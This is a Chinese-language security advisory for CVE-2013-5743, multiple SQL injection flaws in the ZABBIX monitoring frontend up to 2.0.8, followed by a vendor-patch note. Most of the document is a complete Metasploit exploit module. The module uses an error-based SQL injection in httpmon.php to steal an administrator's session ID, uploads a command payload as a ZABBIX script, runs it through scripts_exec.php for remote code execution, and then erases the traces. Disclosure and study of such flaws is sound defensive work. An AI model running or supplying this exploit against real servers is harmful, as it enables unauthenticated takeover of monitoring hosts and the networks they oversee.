ZABBIX API及Frontend多个SQL注入漏洞(CVE-2013-5743)
发布日期：2013-10-02
更新日期：2013-10-19
受影响系统：
ZABBIX ZABBIX <= 2.0.8
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 62794
CVE(CAN) ID: CVE-2013-5743
ZABBIX是一个CS结构的分布式网络监控系统。
ZABBIX 2.0.9之前版本、ZABBIX 1.8.18之前版本存在多个SQL注入漏洞，攻击者通过'scripts_exec.php'文件利用此漏洞可未经身份验证检索活动会话ID，获取管理员身份，上传并执行远程脚本。
<*来源：Bernhard Schildendorfer
Lincoln
Jason Kratzer
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "Zabbix 2.0.8 SQL Injection and Remote Code Execution",
'Description' => %q{
This module exploits an unauthenticated SQL injection vulnerability affecting Zabbix
versions 2.0.8 and lower. The SQL injection issue can be abused in order to retrieve an
active session ID. If an administrator level user is identified, remote code execution
can be gained by uploading and executing remote scripts via the 'scripts_exec.php' file.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Lincoln <Lincoln[at]corelan.be>', # Discovery, Original Proof of Concept
'Jason Kratzer <pyoor[at]corelan.be>' # Metasploit Module
],
'References' =>
[
['CVE', '2013-5743'],
['URL', 'https://support.zabbix.com/browse/ZBX-7091']
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' =>
[
['Zabbix version <= 2.0.8', {}]
],
'Privileged' => false,
'Payload' =>
{
'Space' => 255,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl Python'
}
},
'DisclosureDate' => "Sep 23 2013",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The URI of the vulnerable Zabbix instance', '/zabbix'])
], self.class)
end
def uri
return target_uri.path
end
def check
# Check version
print_status("#{peer} - Trying to detect installed version")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, "httpmon.php")
})
if res and res.code == 200 and res.body =~ /(STATUS OF WEB MONITORING)/ and res.body =~ /(?<=Zabbix )(.*)(?= Copyright)/
version = $1
print_status("#{peer} - Zabbix version #{version} detected")
else
# If this fails, guest access may not be enabled
print_status("#{peer} - Unable to access httpmon.php")
return Exploit::CheckCode::Unknown
end
if version and version <= "2.0.8"
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def get_session_id
# Generate random string and convert to hex
sqlq = rand_text_alpha(8)
sqls = sqlq.each_byte.map { |b| b.to_s(16) }.join
sqli = "2 AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x#{sqls},(SELECT MID((IFNULL(CAST"
sqli << "(sessionid AS CHAR),0x20)),1,50) FROM zabbix.sessions WHERE status=0 and userid=1 "
sqli << "LIMIT 0,1),0x#{sqls},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
# Extract session id from database
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri("#{uri}", "httpmon.php"),
'vars_get' => {
"applications" => sqli
}
})
if res && res.code == 200 and res.body =~ /(?<=#{sqlq})(.*)(?=#{sqlq})/
session = $1
print_status("#{peer} - Extracted session cookie - [ #{session} ]")
return session
else
fail_with(Failure::Unknown, "#{peer} - Unable to extract a valid session")
end
end
def exploit
# Retrieve valid session id
@session = get_session_id
@sid = "#{@session[16..-1]}"
script_name = rand_text_alpha(8)
# Upload script
print_status("#{peer} - Attempting to inject payload")
res = send_request_cgi({
'method' => 'POST',
'cookie' => "zbx_sessionid=#{@session}",
'uri' => normalize_uri(uri, "scripts.php"),
'vars_post' => {
'sid' => @sid,
'form' => 'Create+script',
'name' => script_name,
'type' => '0',
'execute_on' => '1',
'command' => payload.encoded,
'commandipmi' => '',
'description' => '',
'usrgrpid' => '0',
'groupid' => '0',
'access' => '2',
'save' => 'Save'
}
})
if res and res.code == 200 and res.body =~ /(Script added)/
print_status("#{peer} - Payload injected successfully")
else
fail_with(Failure::Unknown, "#{peer} - Payload injection failed!")
end
# Extract 'scriptid' value
@scriptid = /(?<=scriptid=)(\d+)(?=&sid=#{@sid}">#{script_name})/.match(res.body)
# Trigger Payload
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri("#{uri}", "scripts_exec.php"),
'cookie' => "zbx_sessionid=#{@session}",
'vars_get' => {
"execute" =>1,
"scriptid" => @scriptid,
"sid" => @sid,
"hostid" => "10084"
}
})
end
def cleanup
post_data = "sid=#{@sid}&form_refresh=1&scripts[#{@scriptid}]=#{@scriptid}&go=delete&goButton=Go (1)"
print_status("#{peer} - Cleaning script remnants")
res = send_request_cgi({
'method' => 'POST',
'data' => post_data,
'cookie' => "zbx_sessionid=#{@session}",
'uri' => normalize_uri(uri, "scripts.php")
})
if res and res.code == 200 and res.body =~ /(Script deleted)/
print_status("#{peer} - Script removed successfully")
else
print_warning("#{peer} - Unable to remove script #{@scriptid}")
end
end
end
建议：
--------------------------------------------------------------------------------
厂商补丁：
ZABBIX
------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
ZABBIX 的详细介绍：请点这里
ZABBIX 的下载地址：请点这里
相关阅读：